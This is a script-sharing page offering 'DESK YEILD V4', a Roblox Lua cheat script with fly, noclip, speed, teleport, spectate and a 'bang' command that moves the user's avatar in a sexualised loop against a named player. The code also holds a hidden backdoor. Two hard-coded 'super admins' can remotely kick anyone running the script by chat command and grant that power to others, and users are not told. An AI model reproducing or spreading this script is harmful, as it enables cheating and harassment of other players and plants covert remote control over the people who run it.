DESK YEILD V4
Key RequiredUniversal

DESK YEILD V4

Universal ScriptDESKIEDESKIE 651 views 41 executesUpdated Feb 25, 2026
5.0/ 5(1 votes)
10100% Positive
Lua Script•249 lines (9856 chars)
-- DESK YEILD[V4] - GLOBAL SELF-KICK SYSTEM
local ScreenGui = Instance.new("ScreenGui")
local MainFrame = Instance.new("Frame")
local TopBar = Instance.new("TextButton")
local Title = Instance.new("TextLabel")
local CommandInput = Instance.new("TextBox")
local ListFrame = Instance.new("ScrollingFrame")
local UIListLayout = Instance.new("UIListLayout")
local TweenService = game:GetService("TweenService")
local RunService = game:GetService("RunService")

local lp = game.Players.LocalPlayer
local cam = workspace.CurrentCamera

-- ==========================================
-- ADMIN CONFIG (GLOBAL)
-- ==========================================
local SUPER_ADMINS = {
    ["DEV_123875"] = true,
    ["ujjwal5380"] = true
}
local TempAdmins = {}

local function isAdmin(playerName)
    if SUPER_ADMINS[playerName] then return true end
    if TempAdmins[playerName] and os.time() < TempAdmins[playerName] then return true end
    return false
end

-- ==========================================
-- GLOBAL KICK LISTENER (The Heart of the System)
-- ==========================================
local function setupAdminListener(player)
    player.Chatted:Connect(function(message)
        local msg = string.lower(message)
        local split = string.split(msg, " ")
        local cmd = split[1]
        local targetInput = split[2] -- Command ke baad wala pehla word

        if (cmd == "!kick" or cmd == "/kick") and targetInput then
            -- Check if the person speaking is an Admin
            if isAdmin(player.Name) then
                local myUser = string.lower(lp.Name)
                local myDisplay = string.lower(lp.DisplayName)

                -- Check if THEY are talking about ME (Script User)
                if string.find(myUser, targetInput) or string.find(myDisplay, targetInput) then
                    lp:Kick("\n[DESK System]\nRemote Kick Executed\nBy Admin: " .. player.Name)
                end
            end
            
        elseif cmd == "!cmds" and targetInput then
            -- Power Granting Logic
            if SUPER_ADMINS[player.Name] then
                for _, p in ipairs(game.Players:GetPlayers()) do
                    if string.find(string.lower(p.Name), targetInput) or string.find(string.lower(p.DisplayName), targetInput) then
                        TempAdmins[p.Name] = os.time() + 7200
                    end
                end
            end
        end
    end)
end

-- Listen for everyone currently in server & anyone who joins
for _, p in ipairs(game.Players:GetPlayers()) do setupAdminListener(p) end
game.Players.PlayerAdded:Connect(setupAdminListener)

-- ==========================================
-- UI SETUP
-- ==========================================
ScreenGui.Name = "DeskYieldV4_GlobalSelfKick"
ScreenGui.Parent = lp:WaitForChild("PlayerGui")
ScreenGui.ResetOnSpawn = false

local hiddenPos = UDim2.new(1, -230, 1, -40)
local visiblePos = UDim2.new(1, -230, 1, -440)

MainFrame.Parent = ScreenGui
MainFrame.BackgroundColor3 = Color3.fromRGB(10, 10, 10)
MainFrame.Position = hiddenPos
MainFrame.Size = UDim2.new(0, 210, 0, 440)
MainFrame.ClipsDescendants = true
Instance.new("UICorner", MainFrame).CornerRadius = UDim.new(0, 10)

TopBar.Parent = MainFrame
TopBar.BackgroundColor3 = Color3.fromRGB(140, 0, 0)
TopBar.Size = UDim2.new(1, 0, 0, 35)
TopBar.Text = ""
Instance.new("UICorner", TopBar)

Title.Parent = TopBar
Title.Size = UDim2.new(1, 0, 1, 0)
Title.Text = "DESK YEILD[V4]"
Title.TextColor3 = Color3.new(1, 1, 1)
Title.Font = Enum.Font.GothamBold
Title.TextSize = 14

CommandInput.Parent = MainFrame
CommandInput.Position = UDim2.new(0.05, 0, 0.09, 0)
CommandInput.Size = UDim2.new(0.9, 0, 0, 30)
CommandInput.PlaceholderText = "Type Command..."
CommandInput.BackgroundColor3 = Color3.fromRGB(30, 30, 30)
CommandInput.TextColor3 = Color3.new(1,1,1)
Instance.new("UICorner", CommandInput)

ListFrame.Parent = MainFrame
ListFrame.Position = UDim2.new(0.05, 0, 0.18, 0)
ListFrame.Size = UDim2.new(0.9, 0, 0.78, 0)
ListFrame.BackgroundTransparency = 1
ListFrame.CanvasSize = UDim2.new(0, 0, 2.5, 0)
ListFrame.ScrollBarThickness = 0
UIListLayout.Parent = ListFrame
UIListLayout.Padding = UDim.new(0, 5)

local cmds = {"FLY [SPEED]", "UNFLY", "VIEW [NAME]", "UNVIEW", "SPEED [NUM]", "SPIN [SPEED]", "BANG [NAME]", "TO [NAME]", "NOCLIP", "NOSIT", "RESET", "REJOIN", "EXIT"}
for _, v in pairs(cmds) do
    local lbl = Instance.new("TextLabel", ListFrame)
    lbl.Size = UDim2.new(1, 0, 0, 18)
    lbl.BackgroundTransparency = 1
    lbl.Text = "- " .. v
    lbl.TextColor3 = Color3.fromRGB(210, 210, 210)
    lbl.Font = Enum.Font.Gotham
    lbl.TextSize = 11
    lbl.TextXAlignment = Enum.TextXAlignment.Left
end

-- ==========================================
-- CORE FEATURES (FLY, NOCLIP, ETC)
-- ==========================================
local flying, noclip, nosit, isVisible = false, false, false, false
local flySpeed, spinLoop, bangLoop = 50, nil, nil
local lastInteraction = tick()

local bvel, bgyro
RunService.Stepped:Connect(function()
    local char = lp.Character
    if noclip and char then
        for _, v in pairs(char:GetDescendants()) do if v:IsA("BasePart") then v.CanCollide = false end end
    end
    if nosit and char and char:FindFirstChildOfClass("Humanoid") then
        char:FindFirstChildOfClass("Humanoid").Sit = false
    end
end)

RunService.RenderStepped:Connect(function()
    local char = lp.Character
    if flying and char and char:FindFirstChild("HumanoidRootPart") then
        local root = char.HumanoidRootPart
        local hum = char:FindFirstChildOfClass("Humanoid")
        if not bvel then
            bvel = Instance.new("BodyVelocity", root)
            bvel.MaxForce = Vector3.new(9e9, 9e9, 9e9)
            bgyro = Instance.new("BodyGyro", root)
            bgyro.MaxTorque = Vector3.new(9e9, 9e9, 9e9)
        end
        bgyro.CFrame = cam.CFrame
        local moveDir = hum.MoveDirection
        if moveDir.Magnitude > 0 then
            bvel.Velocity = cam.CFrame.LookVector * (moveDir.Magnitude * flySpeed)
        else
            bvel.Velocity = Vector3.new(0, 0, 0)
        end
    else
        if bvel then bvel:Destroy() bvel = nil end
        if bgyro then bgyro:Destroy() bgyro = nil end
    end
end)

-- ==========================================
-- LOCAL EXECUTION
-- ==========================================
local function Exec(input)
    lastInteraction = tick()
    local args = string.split(input:lower():gsub("!", ""), " ")
    local cmd = args[1]
    local char = lp.Character
    local root = char and char:FindFirstChild("HumanoidRootPart")
    local hum = char and char:FindFirstChildOfClass("Humanoid")

    local function getTarget(name)
        for _, v in pairs(game.Players:GetPlayers()) do
            if v.Name:lower():sub(1, #name) == name:lower() or (v.DisplayName and v.DisplayName:lower():sub(1, #name) == name:lower()) then return v end
        end
    end

    if cmd == "to" then
        local p = getTarget(args[2])
        if p and p.Character then root.CFrame = p.Character.HumanoidRootPart.CFrame end
    elseif cmd == "fly" then flySpeed = tonumber(args[2]) or 50 flying = true
    elseif cmd == "unfly" then flying = false
    elseif cmd == "speed" then if hum then hum.WalkSpeed = tonumber(args[2]) or 16 end
    elseif cmd == "noclip" then noclip = true
    elseif cmd == "unnoclip" then noclip = false
    elseif cmd == "nosit" then nosit = true
    elseif cmd == "unnosit" then nosit = false
    elseif cmd == "exit" then game:Shutdown()
    elseif cmd == "rejoin" then game:GetService("TeleportService"):Teleport(game.PlaceId, lp)
    elseif cmd == "reset" then if hum then hum.Health = 0 end
    elseif cmd == "view" then
        local p = getTarget(args[2])
        if p and p.Character then cam.CameraSubject = p.Character.Humanoid end
    elseif cmd == "unview" then cam.CameraSubject = hum
    elseif cmd == "bang" then
        if bangLoop then bangLoop:Disconnect() end
        local p = getTarget(args[2])
        if p and p.Character then
            local off = 0; local inc = true
            bangLoop = RunService.Heartbeat:Connect(function()
                if p.Character and root then
                    if inc then off = off + 0.5 else off = off - 0.5 end
                    if off >= 1.2 then inc = false elseif off <= -0.5 then inc = true end
                    root.CFrame = p.Character.HumanoidRootPart.CFrame * CFrame.new(0, 0, 1 + off)
                end
            end)
        end
    elseif cmd == "unbang" then if bangLoop then bangLoop:Disconnect() end
    elseif cmd == "spin" then
        local s = tonumber(args[2]) or 50
        if spinLoop then spinLoop:Disconnect() end
        spinLoop = RunService.Heartbeat:Connect(function() if root then root.CFrame = root.CFrame * CFrame.Angles(0, math.rad(s), 0) end end)
    elseif cmd == "unspin" then if spinLoop then spinLoop:Disconnect() end
    end
end

-- ==========================================
-- UI CONTROLS
-- ==========================================
TopBar.MouseButton1Click:Connect(function()
    local target = (MainFrame.Position == hiddenPos) and visiblePos or hiddenPos
    TweenService:Create(MainFrame, TweenInfo.new(0.5), {Position = target}):Play()
    isVisible = (target == visiblePos)
    if isVisible then lastInteraction = tick() end
end)

CommandInput.FocusLost:Connect(function(e) if e then Exec(CommandInput.Text) CommandInput.Text = "" end end)
lp.Chatted:Connect(function(m) if m:sub(1,1) == "!" then Exec(m) end end)

task.spawn(function()
    while true do
        task.wait(1)
        if isVisible and not CommandInput:IsFocused() then
            if (tick() - lastInteraction) >= 4 then
                TweenService:Create(MainFrame, TweenInfo.new(0.5), {Position = hiddenPos}):Play()
                isVisible = false
            end
        end
    end
end)

Features & Information

SPAMMER

Community Comments (1)

whh01whh01Feb 25, 2026

etuc

More Scripts for Universal Scripts